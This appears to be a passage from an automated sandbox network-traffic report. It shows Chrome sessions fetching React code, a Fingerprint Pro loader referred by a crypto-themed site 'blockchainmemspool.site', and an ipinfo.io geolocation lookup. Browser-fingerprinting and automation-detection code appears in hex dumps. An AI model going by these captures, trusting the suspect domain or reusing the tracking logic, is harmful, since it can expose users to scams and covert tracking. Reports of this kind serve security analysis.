2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 61 74 75 73 3d 30 2c 65 2e 5f 72 65 73 75 6c 74 3d 74 29 7d 69 66 28 65 2e 5f 73 74 61 74 75 73 3d 3d 3d 31 29 72 65 74 75 72 6e 20 65 2e 5f 72 65 73 75 6c 74 2e 64 65 66 61 75 6c 74 3b 74 68 72 6f 77 20 65 2e 5f 72 65 73 75 6c 74 7d 76 61 72 20 4d 65 3d 7b 63 75 72 72 65 6e 74 3a 6e 75 6c 6c 7d 2c 5f 69 3d 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 6e 75 6c 6c 7d 2c 53 67 3d 7b 52 65 61 63 74 43 75 72 72 65 6e 74 44 69 73 70 61 74 63 68 65 72 3a 4d 65 2c 52 65 61 63 74 43 75 72 72 65 6e 74 42 61 74 63 68 43 6f 6e 66 69 67 3a 5f 69 2c 52 65 61 63 74 43 75 72 72 65 6e 74 4f 77 6e 65 72 3a 78 75 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 70 28 29 7b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 63 74 28 2e 2e 2e 29 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 69 6e Data Ascii: atus=0,e._result=t)}if(e._status===1)return e._result.default;throw e._result}var Me={current:null},_i={transition:null},Sg={ReactCurrentDispatcher:Me,ReactCurrentBatchConfig:_i,ReactCurrentOwner:xu};function ap(){throw Error("act(...) is not supported in
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 65 72 3a 6c 7d 7d 3b 7a 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 7b 24 24 74 79 70 65 6f 66 3a 66 67 2c 5f 63 75 72 72 65 6e 74 56 61 6c 75 65 3a 65 2c 5f 63 75 72 72 65 6e 74 56 61 6c 75 65 32 3a 65 2c 5f 74 68 72 65 61 64 43 6f 75 6e 74 3a 30 2c 50 72 6f 76 69 64 65 72 3a 6e 75 6c 6c 2c 43 6f 6e 73 75 6d 65 72 3a 6e 75 6c 6c 2c 5f 64 65 66 61 75 6c 74 56 61 6c 75 65 3a 6e 75 6c 6c 2c 5f 67 6c 6f 62 61 6c 4e 61 6d 65 3a 6e 75 6c 6c 7d 2c 65 2e 50 72 6f 76 69 64 65 72 3d 7b 24 24 74 79 70 65 6f 66 3a 63 67 2c 5f 63 6f 6e 74 65 78 74 3a 65 7d 2c 65 2e 43 6f 6e 73 75 6d 65 72 3d 65 7d 3b 7a 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 3d 73 70 3b 7a 2e 63 72 65 61 74 65 46 61 63 74 6f 72 79 3d Data Ascii: er:l}};z.createContext=function(e){return e={$$typeof:fg,_currentValue:e,_currentValue2:e,_threadCount:0,Provider:null,Consumer:null,_defaultValue:null,_globalName:null},e.Provider={$$typeof:cg,_context:e},e.Consumer=e};z.createElement=sp;z.createFactory=
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 65 52 65 64 75 63 65 72 28 65 2c 74 2c 6e 29 7d 3b 7a 2e 75 73 65 52 65 66 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4d 65 2e 63 75 72 72 65 6e 74 2e 75 73 65 52 65 66 28 65 29 7d 3b 7a 2e 75 73 65 53 74 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4d 65 2e 63 75 72 72 65 6e 74 2e 75 73 65 53 74 61 74 65 28 65 29 7d 3b 7a 2e 75 73 65 53 79 6e 63 45 78 74 65 72 6e 61 6c 53 74 6f 72 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 4d 65 2e 63 75 72 72 65 6e 74 2e 75 73 65 53 79 6e 63 45 78 74 65 72 6e 61 6c 53 74 6f 72 65 28 65 2c 74 2c 6e 29 7d 3b 7a 2e 75 73 65 54 72 61 6e 73 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4d 65 2e 63 75 72 72 65 6e 74 2e 75 73 65 Data Ascii: eReducer(e,t,n)};z.useRef=function(e){return Me.current.useRef(e)};z.useState=function(e){return Me.current.useState(e)};z.useSyncExternalStore=function(e,t,n){return Me.current.useSyncExternalStore(e,t,n)};z.useTransition=function(){return Me.current.use
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 73 20 61 66 66 69 6c 69 61 74 65 73 2e 0a 20 2a 0a 20 2a 20 54 68 69 73 20 73 6f 75 72 63 65 20 63 6f 64 65 20 69 73 20 6c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 20 66 6f 75 6e 64 20 69 6e 20 74 68 65 0a 20 2a 20 4c 49 43 45 4e 53 45 20 66 69 6c 65 20 69 6e 20 74 68 65 20 72 6f 6f 74 20 64 69 72 65 63 74 6f 72 79 20 6f 66 20 74 68 69 73 20 73 6f 75 72 63 65 20 74 72 65 65 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 49 2c 4c 29 7b 76 61 72 20 46 3d 49 2e 6c 65 6e 67 74 68 3b 49 2e 70 75 73 68 28 4c 29 3b 65 3a 66 6f 72 28 3b 30 3c 46 3b 29 7b 76 61 72 20 48 3d 46 2d 31 3e 3e 3e 31 2c 74 65 3d 49 5b 48 5d 3b 69 66 28 30 3c 6f 28 74 65 2c 4c 29 29 49 5b 48 5d 3d 4c 2c Data Ascii: s affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */(function(e){function t(I,L){var F=I.length;I.push(L);e:for(;0<F;){var H=F-1>>>1,te=I[H];if(0<o(te,L))I[H]=L,
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 72 61 74 69 6f 6e 54 69 6d 65 2c 74 28 61 2c 4c 29 3b 65 6c 73 65 20 62 72 65 61 6b 3b 4c 3d 6e 28 75 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 45 28 49 29 7b 69 66 28 76 3d 21 31 2c 68 28 49 29 2c 21 79 29 69 66 28 6e 28 61 29 21 3d 3d 6e 75 6c 6c 29 79 3d 21 30 2c 5f 65 28 78 29 3b 65 6c 73 65 7b 76 61 72 20 4c 3d 6e 28 75 29 3b 4c 21 3d 3d 6e 75 6c 6c 26 26 69 74 28 45 2c 4c 2e 73 74 61 72 74 54 69 6d 65 2d 49 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 78 28 49 2c 4c 29 7b 79 3d 21 31 2c 76 26 26 28 76 3d 21 31 2c 64 28 4e 29 2c 4e 3d 2d 31 29 2c 77 3d 21 30 3b 76 61 72 20 46 3d 6d 3b 74 72 79 7b 66 6f 72 28 68 28 4c 29 2c 66 3d 6e 28 61 29 3b 66 21 3d 3d 6e 75 6c 6c 26 26 28 21 28 66 2e 65 78 70 69 72 61 74 69 6f 6e 54 69 6d 65 3e 4c 29 7c 7c 49 26 26 21 24 28 29 Data Ascii: rationTime,t(a,L);else break;L=n(u)}}function E(I){if(v=!1,h(I),!y)if(n(a)!==null)y=!0,_e(x);else{var L=n(u);L!==null&&it(E,L.startTime-I)}}function x(I,L){y=!1,v&&(v=!1,d(N),N=-1),w=!0;var F=m;try{for(h(L),f=n(a);f!==null&&(!(f.expirationTime>L)\|\|I&&!$()
2024-11-27 03:06:46 UTC	1369	IN	Data Raw: 28 49 29 7b 30 3e 49 7c 7c 31 32 35 3c 49 3f 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 66 6f 72 63 65 46 72 61 6d 65 52 61 74 65 20 74 61 6b 65 73 20 61 20 70 6f 73 69 74 69 76 65 20 69 6e 74 20 62 65 74 77 65 65 6e 20 30 20 61 6e 64 20 31 32 35 2c 20 66 6f 72 63 69 6e 67 20 66 72 61 6d 65 20 72 61 74 65 73 20 68 69 67 68 65 72 20 74 68 61 6e 20 31 32 35 20 66 70 73 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 22 29 3a 67 3d 30 3c 49 3f 4d 61 74 68 2e 66 6c 6f 6f 72 28 31 65 33 2f 49 29 3a 35 7d 2c 65 2e 75 6e 73 74 61 62 6c 65 5f 67 65 74 43 75 72 72 65 6e 74 50 72 69 6f 72 69 74 79 4c 65 76 65 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 7d 2c 65 2e 75 6e 73 74 61 62 6c 65 5f 67 65 74 46 69 72 73 74 43 61 6c 6c 62 61 63 6b 4e Data Ascii: (I){0>I\|\|125<I?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):g=0<I?Math.floor(1e3/I):5},e.unstable_getCurrentPriorityLevel=function(){return m},e.unstable_getFirstCallbackN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	13.227.8.44	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:46 UTC	564	OUT	GET /v3/PpV6WKGGlibbhVc8aHxy/loader_v3.11.1.js HTTP/1.1 Host: fpnpmcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ft0.blockchainmemspool.site/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:47 UTC	712	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Content-Length: 165608 Connection: close Server: CloudFront Date: Wed, 27 Nov 2024 03:06:47 GMT Cache-Control: public, max-age=3420, s-maxage=609719 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Content-Type-Options: nosniff ETag: "/gz8lNgTzGWbV+1KSzzNsZi/3FQ" Vary: Accept-Encoding X-Cache: Miss from cloudfront Via: 1.1 406d9579ac200a99bde21028b64d638c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-C1 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: Gl5JVyk6EJWmYrVzpMWDBJ0D5DcQUlTl-ViR2vCXwgFzAG4xsuyBVA==
2024-11-27 03:06:48 UTC	16384	IN	Data Raw: 2f 2a 2a 0a 20 2a 20 46 69 6e 67 65 72 70 72 69 6e 74 20 50 72 6f 20 2d 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 46 69 6e 67 65 72 70 72 69 6e 74 4a 53 2c 20 49 6e 63 2c 20 32 30 32 34 20 28 68 74 74 70 73 3a 2f 2f 66 69 6e 67 65 72 70 72 69 6e 74 2e 63 6f 6d 29 0a 20 2a 2f 0a 0a 76 61 72 20 5f 5f 66 70 6a 73 5f 70 5f 6c 5f 62 3d 28 66 75 6e 63 74 69 6f 6e 28 65 78 70 6f 72 74 73 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 6e 24 31 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 72 65 74 75 72 6e 20 6e 24 31 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 7b 5f 5f 70 72 6f 74 6f 5f 5f 3a 5b 5d 7d 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 26 26 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 6e 2e 5f 5f 70 72 6f 74 6f Data Ascii: /** * Fingerprint Pro - Copyright (c) FingerprintJS, Inc, 2024 (https://fingerprint.com) */var __fpjs_p_l_b=(function(exports){'use strict';var n$1=function(t,r){return n$1=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(n,t){n.__proto
2024-11-27 03:06:48 UTC	1514	IN	Data Raw: 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 3b 72 65 74 75 72 6e 20 6e 2e 77 69 64 74 68 3d 31 2c 6e 2e 68 65 69 67 68 74 3d 31 2c 5b 6e 2c 6e 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 29 5d 7d 28 29 2c 75 3d 6f 5b 30 5d 2c 63 3d 6f 5b 31 5d 3b 72 65 74 75 72 6e 20 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 21 28 21 74 7c 7c 21 6e 2e 74 6f 44 61 74 61 55 52 4c 29 7d 28 75 2c 63 29 3f 72 3d 65 3d 22 75 6e 73 75 70 70 6f 72 74 65 64 22 3a 28 69 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 2e 72 65 63 74 28 30 2c 30 2c 31 30 2c 31 30 29 2c 6e 2e 72 65 63 74 28 32 2c 32 2c 36 2c 36 29 2c 21 6e 2e 69 73 50 6f 69 6e 74 49 6e 50 61 74 68 28 35 2c 35 2c 22 65 76 65 6e Data Ascii: ocument.createElement("canvas");return n.width=1,n.height=1,[n,n.getContext("2d")]}(),u=o[0],c=o[1];return !function(n,t){return !(!t\|\|!n.toDataURL)}(u,c)?r=e="unsupported":(i=function(n){return n.rect(0,0,10,10),n.rect(2,2,6,6),!n.isPointInPath(5,5,"even
2024-11-27 03:06:48 UTC	16384	IN	Data Raw: 73 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 73 77 69 74 63 68 28 74 2e 6c 61 62 65 6c 29 7b 63 61 73 65 20 30 3a 72 65 74 75 72 6e 20 54 6e 28 6e 3d 78 6e 28 29 29 3f 4c 6e 3f 5b 32 2c 6f 28 5b 5d 2c 4c 6e 2c 21 30 29 5d 3a 6d 6e 28 29 3f 5b 34 2c 28 72 3d 64 6f 63 75 6d 65 6e 74 2c 28 72 2e 65 78 69 74 46 75 6c 6c 73 63 72 65 65 6e 7c 7c 72 2e 6d 73 45 78 69 74 46 75 6c 6c 73 63 72 65 65 6e 7c 7c 72 2e 6d 6f 7a 43 61 6e 63 65 6c 46 75 6c 6c 53 63 72 65 65 6e 7c 7c 72 2e 77 65 62 6b 69 74 45 78 69 74 46 75 6c 6c 73 63 72 65 65 6e 29 2e 63 61 6c 6c 28 72 29 29 5d 3a 5b 33 2c 32 5d 3a 5b 33 2c 32 5d 3b 63 61 73 65 20 31 3a 74 2e 73 65 6e 74 28 29 2c 6e 3d 78 6e 28 29 2c 74 2e 6c 61 62 65 6c 3d 32 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 20 54 6e 28 6e 29 Data Ascii: s,(function(t){switch(t.label){case 0:return Tn(n=xn())?Ln?[2,o([],Ln,!0)]:mn()?[4,(r=document,(r.exitFullscreen\|\|r.msExitFullscreen\|\|r.mozCancelFullScreen\|\|r.webkitExitFullscreen).call(r))]:[3,2]:[3,2];case 1:t.sent(),n=xn(),t.label=2;case 2:return Tn(n)
2024-11-27 03:06:48 UTC	12792	IN	Data Raw: 7c 7c 21 44 6e 28 22 73 74 61 6e 64 61 72 64 22 29 26 26 76 6f 69 64 20 30 7d 2c 4c 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 74 3d 55 6e 2e 61 63 6f 73 7c 7c 48 6e 2c 72 3d 55 6e 2e 61 63 6f 73 68 7c 7c 48 6e 2c 65 3d 55 6e 2e 61 73 69 6e 7c 7c 48 6e 2c 69 3d 55 6e 2e 61 73 69 6e 68 7c 7c 48 6e 2c 6f 3d 55 6e 2e 61 74 61 6e 68 7c 7c 48 6e 2c 75 3d 55 6e 2e 61 74 61 6e 7c 7c 48 6e 2c 63 3d 55 6e 2e 73 69 6e 7c 7c 48 6e 2c 61 3d 55 6e 2e 73 69 6e 68 7c 7c 48 6e 2c 73 3d 55 6e 2e 63 6f 73 7c 7c 48 6e 2c 66 3d 55 6e 2e 63 6f 73 68 7c 7c 48 6e 2c 6c 3d 55 6e 2e 74 61 6e 7c 7c 48 6e 2c 76 3d 55 6e 2e 74 61 6e 68 7c 7c 48 6e 2c 64 3d 55 6e 2e 65 78 70 7c 7c 48 6e 2c 68 3d 55 6e 2e 65 78 70 6d 31 7c 7c 48 6e 2c 6d 3d 55 6e 2e 6c 6f 67 31 70 7c 7c Data Ascii: \|\|!Dn("standard")&&void 0},Lt=function(){var n,t=Un.acos\|\|Hn,r=Un.acosh\|\|Hn,e=Un.asin\|\|Hn,i=Un.asinh\|\|Hn,o=Un.atanh\|\|Hn,u=Un.atan\|\|Hn,c=Un.sin\|\|Hn,a=Un.sinh\|\|Hn,s=Un.cos\|\|Hn,f=Un.cosh\|\|Hn,l=Un.tan\|\|Hn,v=Un.tanh\|\|Hn,d=Un.exp\|\|Hn,h=Un.expm1\|\|Hn,m=Un.log1p\|\|
2024-11-27 03:06:48 UTC	6396	IN	Data Raw: 66 29 2c 65 3d 74 2e 62 6c 6f 63 6b 65 64 55 52 49 3b 65 21 3d 3d 72 2e 68 72 65 66 26 26 65 21 3d 3d 72 2e 70 72 6f 74 6f 63 6f 6c 2e 73 6c 69 63 65 28 30 2c 2d 31 29 26 26 65 21 3d 3d 72 2e 6f 72 69 67 69 6e 7c 7c 28 69 3d 74 2c 61 28 29 29 3b 7d 3b 6f 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 75 2c 63 29 3b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 75 2c 63 29 7d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 7c 7c 65 2e 74 68 65 6e 28 61 2c 61 29 2c 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 29 2e 74 68 65 6e 28 74 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 61 28 29 2c 6e 7d 29 2c 28 66 75 6e 63 74 69 6f Data Ascii: f),e=t.blockedURI;e!==r.href&&e!==r.protocol.slice(0,-1)&&e!==r.origin\|\|(i=t,a());};o.addEventListener(u,c);var a=function(){return o.removeEventListener(u,c)};return null==e\|\|e.then(a,a),Promise.resolve().then(t).then((function(n){return a(),n}),(functio
2024-11-27 03:06:48 UTC	6396	IN	Data Raw: 6f 69 64 20 30 3d 3d 3d 73 3f 76 6f 69 64 20 30 3a 5b 73 2c 6e 75 6c 6c 21 3d 75 3f 75 3a 6e 2e 67 65 74 54 69 6d 65 28 29 2b 72 28 29 2d 44 61 74 65 2e 6e 6f 77 28 29 5d 7d 5d 7d 28 6e 29 2c 68 3d 64 5b 30 5d 2c 6d 3d 64 5b 31 5d 2c 70 3d 28 66 3d 5b 6e 75 6c 6c 3d 3d 61 3f 76 6f 69 64 20 30 3a 61 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6c 2e 61 62 6f 72 74 65 64 3d 7b 72 65 73 6f 6c 76 65 3a 21 30 2c 76 61 6c 75 65 3a 6e 7d 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6c 2e 61 62 6f 72 74 65 64 3d 7b 72 65 73 6f 6c 76 65 3a 21 31 2c 65 72 72 6f 72 3a 6e 7d 7d 29 29 2c 65 24 31 28 73 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 65 2c 6f 3b Data Ascii: oid 0===s?void 0:[s,null!=u?u:n.getTime()+r()-Date.now()]}]}(n),h=d[0],m=d[1],p=(f=[null==a?void 0:a.then((function(n){return l.aborted={resolve:!0,value:n}}),(function(n){return l.aborted={resolve:!1,error:n}})),e$1(s,void 0,void 0,(function(){var n,e,o;
2024-11-27 03:06:48 UTC	12792	IN	Data Raw: 62 64 72 69 76 65 72 5f 73 63 72 69 70 74 5f 66 75 6e 63 22 2c 22 5f 5f 77 65 62 64 72 69 76 65 72 5f 73 63 72 69 70 74 5f 66 75 6e 63 74 69 6f 6e 22 2c 22 24 63 64 63 5f 61 73 64 6a 66 6c 61 73 75 74 6f 70 66 68 76 63 5a 4c 6d 63 66 22 2c 22 24 63 64 63 5f 61 73 64 6a 66 6c 61 73 75 74 6f 70 66 68 76 63 5a 4c 6d 63 66 6c 5f 22 2c 22 24 63 68 72 6f 6d 65 5f 61 73 79 6e 63 53 63 72 69 70 74 49 6e 66 6f 22 2c 22 5f 5f 24 77 65 62 64 72 69 76 65 72 41 73 79 6e 63 45 78 65 63 75 74 6f 72 22 5d 7d 2c 6e 5b 6d 69 5d 3d 7b 77 69 6e 64 6f 77 3a 5b 22 64 6f 6d 41 75 74 6f 6d 61 74 69 6f 6e 22 2c 22 64 6f 6d 41 75 74 6f 6d 61 74 69 6f 6e 43 6f 6e 74 72 6f 6c 6c 65 72 22 5d 7d 2c 6e 29 2c 65 3d 7b 7d 2c 69 3d 79 69 28 77 69 6e 64 6f 77 29 2c 75 3d 5b 5d 3b 66 6f 72 Data Ascii: bdriver_script_func","__webdriver_script_function","$cdc_asdjflasutopfhvcZLmcf","$cdc_asdjflasutopfhvcZLmcfl_","$chrome_asyncScriptInfo","__$webdriverAsyncExecutor"]},n[mi]={window:["domAutomation","domAutomationController"]},n),e={},i=yi(window),u=[];for
2024-11-27 03:06:48 UTC	12792	IN	Data Raw: 2e 64 69 73 61 62 6c 65 54 6c 73 2c 68 3d 6e 2e 65 78 74 65 6e 64 65 64 52 65 73 75 6c 74 2c 6d 3d 6e 2e 65 78 70 6f 73 65 43 6f 6d 70 6f 6e 65 6e 74 73 2c 70 3d 6e 2e 65 6e 76 69 72 6f 6e 6d 65 6e 74 2c 67 3d 6e 2e 70 72 6f 64 75 63 74 73 2c 77 3d 64 28 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 5b 50 28 6f 29 2c 41 28 73 2c 76 2c 6f 29 5d 29 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 2c 75 29 7b 72 65 74 75 72 6e 20 65 24 31 28 62 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 73 2c 76 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 69 29 7b 73 77 69 74 63 68 28 69 2e 6c 61 62 65 6c 29 7b 63 61 73 65 20 30 3a 72 65 74 75 72 6e 20 5b 34 2c 50 72 6f 6d 69 73 65 2e 72 61 Data Ascii: .disableTls,h=n.extendedResult,m=n.exposeComponents,p=n.environment,g=n.products,w=d(Promise.all([P(o),A(s,v,o)]));return function(n,u){return e$1(b,void 0,void 0,(function(){var e,s,v;return i(this,(function(i){switch(i.label){case 0:return [4,Promise.ra
2024-11-27 03:06:48 UTC	16384	IN	Data Raw: 20 6e 28 74 2c 72 29 7d 28 66 2c 32 35 30 2c 7b 73 3a 2d 32 2c 76 3a 6e 75 6c 6c 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 65 29 7b 72 65 74 75 72 6e 20 6e 28 74 2c 72 2c 65 29 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 72 28 6e 2c 74 29 7d 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 72 65 74 75 72 6e 20 6f 28 6e 2c 74 29 7d 3b 72 65 74 75 72 6e 20 75 28 65 24 31 2c 63 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 65 29 7b 72 65 74 75 72 6e 20 6e 28 74 2c 72 2c 65 29 7d 3b 72 65 74 75 72 6e 20 74 28 69 2c 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 73 Data Ascii: n(t,r)}(f,250,{s:-2,v:null}),(function(){var a=function(t,r,e){return n(t,r,e)},s=function(n,t){return r(n,t)},f=function(n,t){return o(n,t)};return u(e$1,c,void 0,void 0,(function(){var r,e=function(t,r,e){return n(t,r,e)};return t(i,this,(function(n){s
2024-11-27 03:06:48 UTC	2804	IN	Data Raw: 3b 6f 5b 64 2e 42 51 65 6f 64 28 6a 63 2c 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 28 6e 2c 7b 73 3a 2d 35 2c 76 3a 6e 75 6c 6c 7d 29 3b 7d 2c 6f 5b 64 2e 75 5a 59 4f 43 28 6a 63 2c 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 6f 3d 69 2e 51 78 6a 63 76 28 65 6f 2c 69 2e 51 78 6a 63 76 28 65 6f 2c 72 2c 31 31 38 31 36 39 31 39 30 30 29 2c 33 32 35 37 36 33 33 34 37 29 3b 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 51 78 6a 63 76 28 65 6f 2c 69 2e 65 68 67 58 71 28 65 6f 2c 6f 2c 31 33 38 32 31 32 39 31 32 29 28 22 2d 22 2c 69 2e 7a 61 46 58 6b 28 6a 63 2c 33 29 29 2c 32 39 32 38 37 30 38 30 35 32 29 28 6e 65 77 28 77 69 6e 64 6f 77 5b 69 2e 7a 61 46 58 6b 28 6a 63 2c 34 29 5d 29 29 2c 76 6f 69 64 20 69 2e 7a 61 46 58 6b 28 6e 2c 7b 73 3a Data Ascii: ;o[d.BQeod(jc,1)]=function(){r(n,{s:-5,v:null});},o[d.uZYOC(jc,2)]=function(r){var o=i.Qxjcv(eo,i.Qxjcv(eo,r,1181691900),325763347);try{return i.Qxjcv(eo,i.ehgXq(eo,o,138212912)("-",i.zaFXk(jc,3)),2928708052)(new(window[i.zaFXk(jc,4)])),void i.zaFXk(n,{s:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49754	34.117.59.81	443	6036	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:06:47 UTC	358	OUT	GET /json?token=51dda6bce069cf HTTP/1.1 Host: ipinfo.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-27 03:06:48 UTC	457	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 274 content-type: application/json; charset=utf-8 date: Wed, 27 Nov 2024 03:06:48 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-27 03:06:48 UTC	274	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.75", "hostname": "static-cpe-8-46-123-75.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49752	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
